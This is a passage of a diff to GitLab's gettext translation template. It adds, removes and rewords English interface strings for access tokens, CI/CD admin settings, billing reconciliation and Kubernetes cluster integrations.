msgid "%d Approval"
msgid_plural "%d Approvals"
msgstr[0] ""
@@ -267,11 +267,6 @@ msgid_plural "%d issues successfully imported with the label"
msgstr[0] ""
msgstr[1] ""
-msgid "%d item"
-msgid_plural "%d items"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%d layer"
msgid_plural "%d layers"
msgstr[0] ""
@@ -421,6 +416,24 @@ msgstr ""
msgid "%{board_target} not found"
msgstr ""
+msgid "%{bold_start}%{count}%{bold_end} issue"
+msgid_plural "%{bold_start}%{count}%{bold_end} issues"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{bold_start}%{count}%{bold_end} member"
+msgid_plural "%{bold_start}%{count}%{bold_end} members"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{bold_start}%{count}%{bold_end} opened merge request"
+msgid_plural "%{bold_start}%{count}%{bold_end} opened merge requests"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{closedWeight} complete, %{openWeight} incomplete"
+msgstr ""
+
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
msgstr ""
@@ -464,6 +477,11 @@ msgstr ""
msgid "%{count} files touched"
msgstr ""
+msgid "%{count} item"
+msgid_plural "%{count} items"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{count} items per page"
msgstr ""
@@ -654,10 +672,10 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
-msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
+msgid "%{link_start}Learn more%{link_end} about roles."
msgstr ""
-msgid "%{link_start}Read more%{link_end} about role permissions"
+msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
msgstr ""
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
@@ -821,6 +839,9 @@ msgid_plural "%{securityScanner} results are not available because a pipeline ha
msgstr[0] ""
msgstr[1] ""
+msgid "%{service_ping_link_start}Learn more%{service_ping_link_end} about what information is shared with GitLab Inc."
+msgstr ""
+
msgid "%{size} %{unit}"
msgstr ""
@@ -854,9 +875,6 @@ msgstr ""
msgid "%{state} epics"
msgstr ""
-msgid "%{strongStart}Deletes%{strongEnd} source branch"
-msgstr ""
-
msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
msgstr ""
@@ -957,12 +975,6 @@ msgstr ""
msgid "%{total} warnings found: showing first %{warningsDisplayed}"
msgstr ""
-msgid "%{type} License"
-msgstr ""
-
-msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
-msgstr ""
-
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -993,6 +1005,9 @@ msgstr ""
msgid "%{user} created an issue: %{issue_link}"
msgstr ""
+msgid "%{value} is not included in the list"
+msgstr ""
+
msgid "%{value} s"
msgstr ""
@@ -1480,9 +1495,6 @@ msgstr ""
msgid "A rebase is already in progress."
msgstr ""
-msgid "A rule must be provided to create an escalation policy"
-msgstr ""
-
msgid "A secure token that identifies an external storage request."
msgstr ""
@@ -1543,18 +1555,9 @@ msgstr ""
msgid "APIFuzzing|Code snippet could not be generated. Try again later."
msgstr ""
-msgid "APIFuzzing|Code snippet for the API Fuzzing configuration"
-msgstr ""
-
msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
msgstr ""
-msgid "APIFuzzing|Copy code and open .gitlab-ci.yml file"
-msgstr ""
-
-msgid "APIFuzzing|Copy code only"
-msgstr ""
-
msgid "APIFuzzing|Customize common API fuzzing settings to suit your requirements. For details of more advanced configuration options, see the %{docsLinkStart}GitLab API Fuzzing documentation%{docsLinkEnd}."
msgstr ""
@@ -1759,13 +1762,13 @@ msgstr ""
msgid "AccessTokens|It cannot be used to access any other data."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can access repository static objects as if they were you. You should %{reset_link_start}reset it%{reset_link_end} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can access repository static objects as if they were you. If that ever happens, %{reset_link_start}reset this token%{reset_link_end}."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can create issues as if they were you. You should %{link_reset_it} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can create issues as if they were you. If that happens, %{link_reset_it}."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can read activity and issue RSS feeds or your calendar feed as if they were you. You should %{link_reset_it} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can read activity and issue RSS feeds or your calendar feed as if they were you. If that happens, %{link_reset_it}."
msgstr ""
msgid "AccessTokens|Personal Access Tokens"
@@ -1783,16 +1786,16 @@ msgstr ""
msgid "AccessTokens|You can generate a personal access token for each application you use that needs access to the GitLab API."
msgstr ""
-msgid "AccessTokens|Your feed token is used to authenticate you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar, and is included in those feed URLs."
+msgid "AccessTokens|Your feed token authenticates you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar. It is visible in those feed URLs."
msgstr ""
-msgid "AccessTokens|Your incoming email token is used to authenticate you when you create a new issue by email, and is included in your personal project-specific email addresses."
+msgid "AccessTokens|Your incoming email token authenticates you when you create a new issue by email, and is included in your personal project-specific email addresses."
msgstr ""
-msgid "AccessTokens|Your static object token is used to authenticate you when repository static objects (e.g. archives, blobs, ...) are being served from an external storage."
+msgid "AccessTokens|Your static object token authenticates you when repository static objects (such as archives or blobs) are served from an external storage."
msgstr ""
-msgid "AccessTokens|reset it"
+msgid "AccessTokens|reset this token"
msgstr ""
msgid "AccessibilityReport|Learn more"
@@ -1912,6 +1915,9 @@ msgstr ""
msgid "Add a comment to this line or drag for multiple lines"
msgstr ""
+msgid "Add a custom message with details about the instance's shared runners. The message is visible in group and project CI/CD settings, in the Runners section. Markdown is supported."
+msgstr ""
+
msgid "Add a general comment to this %{noteableDisplayName}."
msgstr ""
@@ -1921,6 +1927,9 @@ msgstr ""
msgid "Add a homepage to your wiki that contains information about your project and GitLab will display it here instead of this message."
msgstr ""
+msgid "Add a horizontal rule"
+msgstr ""
+
msgid "Add a line"
msgstr ""
@@ -1984,6 +1993,9 @@ msgstr ""
msgid "Add commit messages as comments to Asana tasks. %{docs_link}"
msgstr ""
+msgid "Add commit messages as comments to Pivotal Tracker stories. %{docs_link}"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -2110,6 +2122,9 @@ msgstr ""
msgid "AddMember|Invite limit of %{daily_invites} per day exceeded"
msgstr ""
+msgid "AddMember|No invite source provided."
+msgstr ""
+
msgid "AddMember|No users specified."
msgstr ""
@@ -2344,9 +2359,6 @@ msgstr ""
msgid "AdminSettings|Enable shared runners for new projects"
msgstr ""
-msgid "AdminSettings|Environment variables are protected by default"
-msgstr ""
-
msgid "AdminSettings|Feed token"
msgstr ""
@@ -2359,19 +2371,22 @@ msgstr ""
msgid "AdminSettings|Moved to integrations"
msgstr ""
+msgid "AdminSettings|New CI/CD variables in projects and groups default to protected."
+msgstr ""
+
msgid "AdminSettings|No required pipeline"
msgstr ""
-msgid "AdminSettings|Required pipeline configuration"
+msgid "AdminSettings|Protect CI/CD variables by default"
msgstr ""
-msgid "AdminSettings|See affected service templates"
+msgid "AdminSettings|Required pipeline configuration"
msgstr ""
-msgid "AdminSettings|Select a pipeline configuration file"
+msgid "AdminSettings|See affected service templates"
msgstr ""
-msgid "AdminSettings|Select a template"
+msgid "AdminSettings|Select a CI/CD template"
msgstr ""
msgid "AdminSettings|Service template allows you to set default values for integrations"
@@ -2383,7 +2398,7 @@ msgstr ""
msgid "AdminSettings|Session duration for Git operations when 2FA is enabled (minutes)"
msgstr ""
-msgid "AdminSettings|Set an instance-wide auto included %{link_start}pipeline configuration%{link_end}. This pipeline configuration will be run after the project's own configuration."
+msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration for all projects in the instance. Project CI/CD configuration merges into the required pipeline configuration when the pipeline runs. %{link_start}What is a required pipeline configuration?%{link_end}"
msgstr ""
msgid "AdminSettings|Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages."
@@ -2392,10 +2407,7 @@ msgstr ""
msgid "AdminSettings|The latest artifacts for all jobs in the most recent successful pipelines in each project are stored and do not expire."
msgstr ""
-msgid "AdminSettings|The required pipeline configuration can be selected from the %{code_start}gitlab-ci%{code_end} directory inside of the configured %{link_start}instance template repository%{link_end} or from GitLab provided configurations."
-msgstr ""
-
-msgid "AdminSettings|When creating a new environment variable it will be protected by default."
+msgid "AdminSettings|The template for the required pipeline configuration can be one of the GitLab-provided templates, or a custom template added to an instance template repository. %{link_start}How do I create an instance template repository?%{link_end}"
msgstr ""
msgid "AdminSettings|You can't add new templates. To migrate or remove a Service template, create a new integration at %{settings_link_start}Settings &gt; Integrations%{link_end}. Learn more about %{doc_link_start}Project integration management%{link_end}."
@@ -2806,9 +2818,21 @@ msgstr ""
msgid "Admin|Admin notes"
msgstr ""
+msgid "Admin|Learn more about quarterly reconciliation"
+msgstr ""
+
msgid "Admin|Note"
msgstr ""
+msgid "Admin|Quarterly reconciliation will occur on %{qrtlyDate}"
+msgstr ""
+
+msgid "Admin|The number of max seats used for your namespace is currently exceeding the number of seats in your subscription. On %{qrtlyDate}, GitLab will process a quarterly reconciliation and automatically bill you a prorated amount for the overage. There is no action needed from you. If you have a credit card on file, it will be charged. Otherwise, you will receive an invoice."
+msgstr ""
+
+msgid "Admin|The number of maximum users for your instance is currently exceeding the number of users in license. On %{qrtlyDate}, GitLab will process a quarterly reconciliation and automatically bill you a prorated amount for the overage. There is no action needed from you. If you have a credit card on file, it will be charged. Otherwise, you will receive an invoice."
+msgstr ""
+
msgid "Admin|View pending user approvals"
msgstr ""
@@ -3027,12 +3051,18 @@ msgstr ""
msgid "AlertSettings|Add new integration"
msgstr ""
+msgid "AlertSettings|Alert settings"
+msgstr ""
+
msgid "AlertSettings|Authorization key"
msgstr ""
msgid "AlertSettings|Configure details"
msgstr ""
+msgid "AlertSettings|Current integrations"
+msgstr ""
+
msgid "AlertSettings|Customize alert payload mapping (optional)"
msgstr ""
@@ -3159,9 +3189,6 @@ msgstr ""
msgid "AlertsIntegrations|Alerts will not be created through this integration"
msgstr ""
-msgid "AlertsIntegrations|Current integrations"
-msgstr ""
-
msgid "AlertsIntegrations|If you delete the %{integrationName} integration, alerts are no longer sent from this endpoint. This action cannot be undone."
msgstr ""
@@ -3228,6 +3255,9 @@ msgstr ""
msgid "All epics"
msgstr ""
+msgid "All escalations rules must have a schedule in the same project as the policy"
+msgstr ""
+
msgid "All groups and projects"
msgstr ""
@@ -3387,9 +3417,6 @@ msgstr ""
msgid "Amazon EKS integration allows you to provision EKS clusters from GitLab."
msgstr ""
-msgid "Amazon Web Services"
-msgstr ""
-
msgid "Amazon Web Services Logo"
msgstr ""
@@ -3462,9 +3489,6 @@ msgstr ""
msgid "An error occurred when toggling the notification subscription"
msgstr ""
-msgid "An error occurred when updating the issue due date"
-msgstr ""
-
msgid "An error occurred when updating the issue weight"
msgstr ""
@@ -3516,6 +3540,9 @@ msgstr ""
msgid "An error occurred while enabling Service Desk."
msgstr ""
+msgid "An error occurred while fetching ancestors"
+msgstr ""
+
msgid "An error occurred while fetching branches. Retry the search."
msgstr ""
@@ -3606,6 +3633,9 @@ msgstr ""
msgid "An error occurred while getting files for - %{branchId}"
msgstr ""
+msgid "An error occurred while getting issue counts"
+msgstr ""
+
msgid "An error occurred while getting projects"
msgstr ""
@@ -3762,9 +3792,6 @@ msgstr ""
msgid "An error occurred while updating the configuration."
msgstr ""
-msgid "An error occurred while updating the milestone."
-msgstr ""
-
msgid "An error occurred while updating the notification settings. Please try again."
msgstr ""
@@ -4041,9 +4068,6 @@ msgstr ""
msgid "Apply a template"
msgstr ""
-msgid "Apply changes"
-msgstr ""
-
msgid "Apply suggestion"
msgstr ""
@@ -4133,15 +4157,9 @@ msgstr ""
msgid "ApprovalRule|Rule name"
msgstr ""
-msgid "ApprovalRule|Status check"
-msgstr ""
-
msgid "ApprovalRule|Target branch"
msgstr ""
-msgid "ApprovalRule|Users or groups"
-msgstr ""
-
msgid "ApprovalStatusTooltip|Adheres to separation of duties"
msgstr ""
@@ -4527,9 +4545,6 @@ msgstr ""
msgid "At least one approval from a code owner is required to change files matching the respective CODEOWNER rules."
msgstr ""
-msgid "At least one logging option is required to be enabled"
-msgstr ""
-
msgid "At least one of group_id or project_id must be specified"
msgstr ""
@@ -4718,9 +4733,6 @@ msgstr ""
msgid "Auto DevOps enabled"
msgstr ""
-msgid "Auto DevOps, runners and job artifacts"
-msgstr ""
-
msgid "Auto stop successfully canceled."
msgstr ""
@@ -5108,6 +5120,9 @@ msgstr ""
msgid "BillingPlan|Upgrade for free"
msgstr ""
+msgid "Billings|Shared runners cannot be enabled until a valid credit card is on file."
+msgstr ""
+
msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. If you prefer not to provide one, you can run pipelines by bringing your own runners and disabling shared runners for your project. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd} %{linkStart}Learn more%{linkEnd}."
msgstr ""
@@ -5250,6 +5265,9 @@ msgid_plural "Boards|+ %{displayedIssuablesCount} more %{issuableType}s"
msgstr[0] ""
msgstr[1] ""
+msgid "Boards|An error occurred while creating the epic. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while creating the issue. Please try again."
msgstr ""
@@ -5309,6 +5327,9 @@ msgstr ""
msgid "Boards|Failed to fetch blocking %{issuableType}s"
msgstr ""
+msgid "Boards|New epic"
+msgstr ""
+
msgid "Boards|Retrieving blocking %{issuableType}s"
msgstr ""
@@ -5339,6 +5360,9 @@ msgstr ""
msgid "Board|Enter board name"
msgstr ""
+msgid "Board|Failed to create epic. Please try again."
+msgstr ""
+
msgid "Board|Failed to delete board. Please try again."
msgstr ""
@@ -5561,6 +5585,9 @@ msgstr ""
msgid "Browse files"
msgstr ""
+msgid "Browse templates"
+msgstr ""
+
msgid "BuildArtifacts|An error occurred while fetching the artifacts"
msgstr ""
@@ -5729,6 +5756,9 @@ msgstr ""
msgid "CICDAnalytics|Deployment frequency"
msgstr ""
+msgid "CICDAnalytics|Lead time"
+msgstr ""
+
msgid "CICDAnalytics|Projects with releases"
msgstr ""
@@ -5776,10 +5806,10 @@ msgstr ""
msgid "CICD|Jobs"
msgstr ""
-msgid "CICD|The Auto DevOps pipeline runs if no alternative CI configuration file is found."
+msgid "CICD|The Auto DevOps pipeline runs by default in all projects with no CI/CD configuration file."
msgstr ""
-msgid "CICD|The Auto DevOps pipeline will run if no alternative CI configuration file is found."
+msgid "CICD|The Auto DevOps pipeline runs if no alternative CI configuration file is found."
msgstr ""
msgid "CICD|group enabled"
@@ -5824,6 +5854,9 @@ msgstr ""
msgid "CVE|Why Request a CVE ID?"
msgstr ""
+msgid "Cadence is not automated"
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -5947,9 +5980,6 @@ msgstr ""
msgid "Cannot delete %{profile_name} referenced in security policy"
msgstr ""
-msgid "Cannot enable shared runners because parent group does not allow it"
-msgstr ""
-
msgid "Cannot have multiple Jira imports running at the same time"
msgstr ""
@@ -6055,15 +6085,15 @@ msgstr ""
msgid "Change path"
msgstr ""
-msgid "Change permissions"
-msgstr ""
-
msgid "Change reviewer(s)"
msgstr ""
msgid "Change reviewer(s)."
msgstr ""
+msgid "Change role"
+msgstr ""
+
msgid "Change status"
msgstr ""
@@ -6340,6 +6370,9 @@ msgstr ""
msgid "Checkout|Failed to load states. Please try again."
msgstr ""
+msgid "Checkout|Failed to load the payment form. Please try again."
+msgstr ""
+
msgid "Checkout|Failed to register credit card. Please try again."
msgstr ""
@@ -6442,9 +6475,6 @@ msgstr ""
msgid "Choose a group"
msgstr ""
-msgid "Choose a role permission"
-msgstr ""
-
msgid "Choose a template"
msgstr ""
@@ -6472,6 +6502,9 @@ msgstr ""
msgid "Choose specific groups or storage shards"
msgstr ""
+msgid "Choose the preferred Runner and populate the AWS CFT."
+msgstr ""
+
msgid "Choose the top-level group for your repository imports."
msgstr ""
@@ -6901,9 +6934,6 @@ msgstr ""
msgid "ClusterAgent|This feature is only available for premium plans"
msgstr ""
-msgid "ClusterAgent|This project is not included in the GitLab.com rollout for Kubernetes agent"
-msgstr ""
-
msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
@@ -6913,24 +6943,12 @@ msgstr ""
msgid "ClusterAgent|You have insufficient permissions to delete this cluster agent"
msgstr ""
-msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
-msgstr ""
-
-msgid "ClusterIntegration|%{boldStart}Note:%{boldEnd} Requires Ingress to be installed."
-msgstr ""
-
-msgid "ClusterIntegration|%{externalIp}.nip.io"
+msgid "ClusterApplicationsRemoved|One-click application management was removed in GitLab 14.0. Your applications are still installed in your cluster, and integrations continue working."
msgstr ""
msgid "ClusterIntegration|%{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "ClusterIntegration|%{title} uninstalled successfully."
-msgstr ""
-
-msgid "ClusterIntegration|%{title} updated successfully."
-msgstr ""
-
msgid "ClusterIntegration|A cluster management project can be used to run deployment jobs with Kubernetes %{code_open}cluster-admin%{code_close} privileges."
msgstr ""
@@ -6964,15 +6982,6 @@ msgstr ""
msgid "ClusterIntegration|Advanced options on this Kubernetes cluster’s integration"
msgstr ""
-msgid "ClusterIntegration|All data not committed to GitLab will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|All data will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|All installed applications and related resources"
-msgstr ""
-
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster. %{linkStart}More information%{linkEnd}"
msgstr ""
@@ -6985,9 +6994,6 @@ msgstr ""
msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Prometheus for metrics."
msgstr ""
-msgid "ClusterIntegration|Alternatively, "
-msgstr ""
-
msgid "ClusterIntegration|Amazon EKS"
msgstr ""
@@ -7009,9 +7015,6 @@ msgstr ""
msgid "ClusterIntegration|Any project namespaces"
msgstr ""
-msgid "ClusterIntegration|Any running pipelines will be canceled."
-msgstr ""
-
msgid "ClusterIntegration|Apply for credit"
msgstr ""
@@ -7030,15 +7033,6 @@ msgstr ""
msgid "ClusterIntegration|CA Certificate"
msgstr ""
-msgid "ClusterIntegration|Can be safely removed. Prior to GitLab 13.2, GitLab used a remote Tiller server to manage the applications. GitLab no longer uses this server. Uninstalling this server will not affect your other applications. This row will disappear afterwards."
-msgstr ""
-
-msgid "ClusterIntegration|Cert-Manager"
-msgstr ""
-
-msgid "ClusterIntegration|Cert-Manager is a native Kubernetes certificate management controller that helps with issuing certificates. Installing Cert-Manager on your cluster will issue a certificate by %{linkStart}Let's Encrypt%{linkEnd} and ensure that certificates are valid and up-to-date."
-msgstr ""
-
msgid "ClusterIntegration|Certificate Authority bundle (PEM format)"
msgstr ""
@@ -7060,9 +7054,6 @@ msgstr ""
msgid "ClusterIntegration|Choose the worker node %{linkStart}instance type%{linkEnd}."
msgstr ""
-msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster."
-msgstr ""
-
msgid "ClusterIntegration|Choose which of your environments will use this cluster."
msgstr ""
@@ -7075,15 +7066,12 @@ msgstr ""
msgid "ClusterIntegration|Cluster Region"
msgstr ""
-msgid "ClusterIntegration|Cluster management project (alpha)"
+msgid "ClusterIntegration|Cluster management project"
msgstr ""
msgid "ClusterIntegration|Cluster name is required."
msgstr ""
-msgid "ClusterIntegration|Cluster_applications artifact too big. Maximum allowable size: %{human_size}"
-msgstr ""
-
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
@@ -7105,15 +7093,6 @@ msgstr ""
msgid "ClusterIntegration|Copy CA Certificate"
msgstr ""
-msgid "ClusterIntegration|Copy Ingress Endpoint"
-msgstr ""
-
-msgid "ClusterIntegration|Copy Jupyter Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|Copy Knative Endpoint"
-msgstr ""
-
msgid "ClusterIntegration|Copy Kubernetes cluster name"
msgstr ""
@@ -7162,12 +7141,6 @@ msgstr ""
msgid "ClusterIntegration|Creating Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|Crossplane"
-msgstr ""
-
-msgid "ClusterIntegration|Crossplane enables declarative provisioning of managed services from your cloud of choice using %{codeStart}kubectl%{codeEnd} or %{linkStart}GitLab Integration%{linkEnd}. Crossplane runs inside your Kubernetes cluster and supports secure connectivity and secrets management between app containers and the cloud services they depend on."
-msgstr ""
-
msgid "ClusterIntegration|Deletes all GitLab resources attached to this cluster during removal"
msgstr ""
@@ -7183,9 +7156,6 @@ msgstr ""
msgid "ClusterIntegration|Elastic Kubernetes Service"
msgstr ""
-msgid "ClusterIntegration|Elastic Stack"
-msgstr ""
-
msgid "ClusterIntegration|Enable Cloud Run for Anthos"
msgstr ""
@@ -7201,9 +7171,6 @@ msgstr ""
msgid "ClusterIntegration|Enable this setting if using role-based access control (RBAC)."
msgstr ""
-msgid "ClusterIntegration|Enabled stack"
-msgstr ""
-
msgid "ClusterIntegration|Enter new Service Token"
msgstr ""
@@ -7246,27 +7213,12 @@ msgstr ""
msgid "ClusterIntegration|Fetching zones"
msgstr ""
-msgid "ClusterIntegration|Fluentd"
-msgstr ""
-
-msgid "ClusterIntegration|Fluentd is an open source data collector, which lets you unify the data collection and consumption for a better use and understanding of data. It requires at least one of the following logs to be successfully installed."
-msgstr ""
-
msgid "ClusterIntegration|GitLab Agent managed clusters"
msgstr ""
-msgid "ClusterIntegration|GitLab Container Network Policies"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
-msgid "ClusterIntegration|GitLab Runner"
-msgstr ""
-
-msgid "ClusterIntegration|GitLab Runner connects to the repository and executes CI/CD jobs, pushing results back and deploying applications to production."
-msgstr ""
-
msgid "ClusterIntegration|GitLab failed to authenticate."
msgstr ""
@@ -7294,9 +7246,6 @@ msgstr ""
msgid "ClusterIntegration|HTTP Error"
msgstr ""
-msgid "ClusterIntegration|Helm release failed to install"
-msgstr ""
-
msgid "ClusterIntegration|If you are setting up multiple clusters and are using Auto DevOps, %{help_link_start}read this first%{help_link_end}."
msgstr ""
@@ -7306,18 +7255,6 @@ msgstr ""
msgid "ClusterIntegration|In order to view the health of your cluster, you must first enable Prometheus in the Integrations tab."
msgstr ""
-msgid "ClusterIntegration|Ingress"
-msgstr ""
-
-msgid "ClusterIntegration|Ingress Endpoint"
-msgstr ""
-
-msgid "ClusterIntegration|Ingress gives you a way to route requests to services based on the request host or path, centralizing a number of services into a single entrypoint."
-msgstr ""
-
-msgid "ClusterIntegration|Installing Ingress may incur additional costs. Learn more about %{linkStart}pricing%{linkEnd}."
-msgstr ""
-
msgid "ClusterIntegration|Instance cluster"
msgstr ""
@@ -7339,39 +7276,9 @@ msgstr ""
msgid "ClusterIntegration|Integrations allow you to use applications installed in your cluster as part of your GitLab workflow."
msgstr ""
-msgid "ClusterIntegration|Issuer Email"
-msgstr ""
-
-msgid "ClusterIntegration|Issuers represent a certificate authority. You must provide an email address for your Issuer."
-msgstr ""
-
-msgid "ClusterIntegration|Jupyter Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|JupyterHub"
-msgstr ""
-
-msgid "ClusterIntegration|JupyterHub, a multi-user Hub, spawns, manages, and proxies multiple instances of the single-user Jupyter notebook server. JupyterHub can be used to serve notebooks to a class of students, a corporate data science group, or a scientific research group."
-msgstr ""
-
msgid "ClusterIntegration|Key pair name"
msgstr ""
-msgid "ClusterIntegration|Knative"
-msgstr ""
-
-msgid "ClusterIntegration|Knative Domain Name:"
-msgstr ""
-
-msgid "ClusterIntegration|Knative Endpoint:"
-msgstr ""
-
-msgid "ClusterIntegration|Knative domain name was updated successfully."
-msgstr ""
-
-msgid "ClusterIntegration|Knative extends Kubernetes to provide a set of middleware components that are essential to build modern, source-centric, and container-based applications that can run anywhere: on premises, in the cloud, or even in a third-party data center."
-msgstr ""
-
msgid "ClusterIntegration|Kubernetes cluster is being created..."
msgstr ""
@@ -7405,9 +7312,6 @@ msgstr ""
msgid "ClusterIntegration|Learn more about instance Kubernetes clusters"
msgstr ""
-msgid "ClusterIntegration|Legacy Helm Tiller server"
-msgstr ""
-
msgid "ClusterIntegration|Loading IAM Roles"
msgstr ""
@@ -7456,12 +7360,6 @@ msgstr ""
msgid "ClusterIntegration|No VPCs found"
msgstr ""
-msgid "ClusterIntegration|No deployment cluster found for this job"
-msgstr ""
-
-msgid "ClusterIntegration|No deployment found for this job"
-msgstr ""
-
msgid "ClusterIntegration|No instance type found"
msgstr ""
@@ -7504,9 +7402,6 @@ msgstr ""
msgid "ClusterIntegration|Please make sure that your Google account meets the following requirements:"
msgstr ""
-msgid "ClusterIntegration|Point a wildcard DNS to this generated endpoint in order to access your application after it has been deployed."
-msgstr ""
-
msgid "ClusterIntegration|Project cluster"
msgstr ""
@@ -7516,15 +7411,6 @@ msgstr ""
msgid "ClusterIntegration|Project namespace prefix (optional, unique)"
msgstr ""
-msgid "ClusterIntegration|Prometheus"
-msgstr ""
-
-msgid "ClusterIntegration|Prometheus is an open-source monitoring system with %{linkStart}GitLab Integration%{linkEnd} to monitor deployed applications."
-msgstr ""
-
-msgid "ClusterIntegration|Protect your clusters with GitLab Container Network Policies by enforcing how pods communicate with each other and other network endpoints. %{linkStart}Learn more about configuring Network Policies here.%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|Provider details"
msgstr ""
@@ -7561,24 +7447,6 @@ msgstr ""
msgid "ClusterIntegration|Removes cluster from project but keeps associated resources"
msgstr ""
-msgid "ClusterIntegration|Replace this with your own hostname if you want. If you do so, point hostname to Ingress IP Address from above."
-msgstr ""
-
-msgid "ClusterIntegration|Request to begin installing failed"
-msgstr ""
-
-msgid "ClusterIntegration|Request to begin uninstalling failed"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Port"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Protocol"
-msgstr ""
-
msgid "ClusterIntegration|Save changes"
msgstr ""
@@ -7591,9 +7459,6 @@ msgstr ""
msgid "ClusterIntegration|Search VPCs"
msgstr ""
-msgid "ClusterIntegration|Search domains"
-msgstr ""
-
msgid "ClusterIntegration|Search instance types"
msgstr ""
@@ -7642,15 +7507,9 @@ msgstr ""
msgid "ClusterIntegration|Select a region to choose a VPC"
msgstr ""
-msgid "ClusterIntegration|Select a stack to install Crossplane."
-msgstr ""
-
msgid "ClusterIntegration|Select a zone to choose a network"
msgstr ""
-msgid "ClusterIntegration|Select existing domain or use new"
-msgstr ""
-
msgid "ClusterIntegration|Select machine type"
msgstr ""
@@ -7675,9 +7534,6 @@ msgstr ""
msgid "ClusterIntegration|Select zone to choose machine type"
msgstr ""
-msgid "ClusterIntegration|Send Container Network Policies Logs"
-msgstr ""
-
msgid "ClusterIntegration|Service Token"
msgstr ""
@@ -7696,27 +7552,12 @@ msgstr ""
msgid "ClusterIntegration|Something went wrong while creating your Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|Something went wrong while installing %{title}"
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while trying to save your settings. Please try again."
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while uninstalling %{title}"
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while updating Knative domain name."
-msgstr ""
-
msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{linkStart}Auto DevOps.%{linkEnd} The domain should have a wildcard DNS configured matching the domain. "
msgstr ""
msgid "ClusterIntegration|Subnets"
msgstr ""
-msgid "ClusterIntegration|The %{gitlabNamespace} namespace"
-msgstr ""
-
msgid "ClusterIntegration|The Amazon Resource Name (ARN) associated with your role. If you do not have a provision role, first create one on %{startAwsLink}Amazon Web Services %{externalLinkIcon}%{endLink} using the above account and external IDs. %{startMoreInfoLink}More information%{endLink}"
msgstr ""
@@ -7726,24 +7567,6 @@ msgstr ""
msgid "ClusterIntegration|The URL used to access the Kubernetes API."
msgstr ""
-msgid "ClusterIntegration|The associated IP and all deployed services will be deleted and cannot be restored. Uninstalling Knative will also remove Istio from your cluster. This will not effect any other applications."
-msgstr ""
-
-msgid "ClusterIntegration|The associated Tiller pod will be deleted and cannot be restored. Your other applications will remain unaffected."
-msgstr ""
-
-msgid "ClusterIntegration|The associated load balancer and IP will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|The associated private key will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|The elastic stack collects logs from all pods in your cluster"
-msgstr ""
-
-msgid "ClusterIntegration|The endpoint is in the process of being assigned. Please check your Kubernetes cluster or Quotas on Google Kubernetes Engine if it takes a long time."
-msgstr ""
-
msgid "ClusterIntegration|The namespace associated with your project. This will be used for deploy boards, logs, and Web terminals."
msgstr ""
@@ -7774,9 +7597,6 @@ msgstr ""
msgid "ClusterIntegration|This will permanently delete the following resources:"
msgstr ""
-msgid "ClusterIntegration|To access your application after deployment, point a wildcard DNS to the Knative Endpoint."
-msgstr ""
-
msgid "ClusterIntegration|To create a cluster, first create a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
msgstr ""
@@ -7798,21 +7618,9 @@ msgstr ""
msgid "ClusterIntegration|Unable to Connect"
msgstr ""
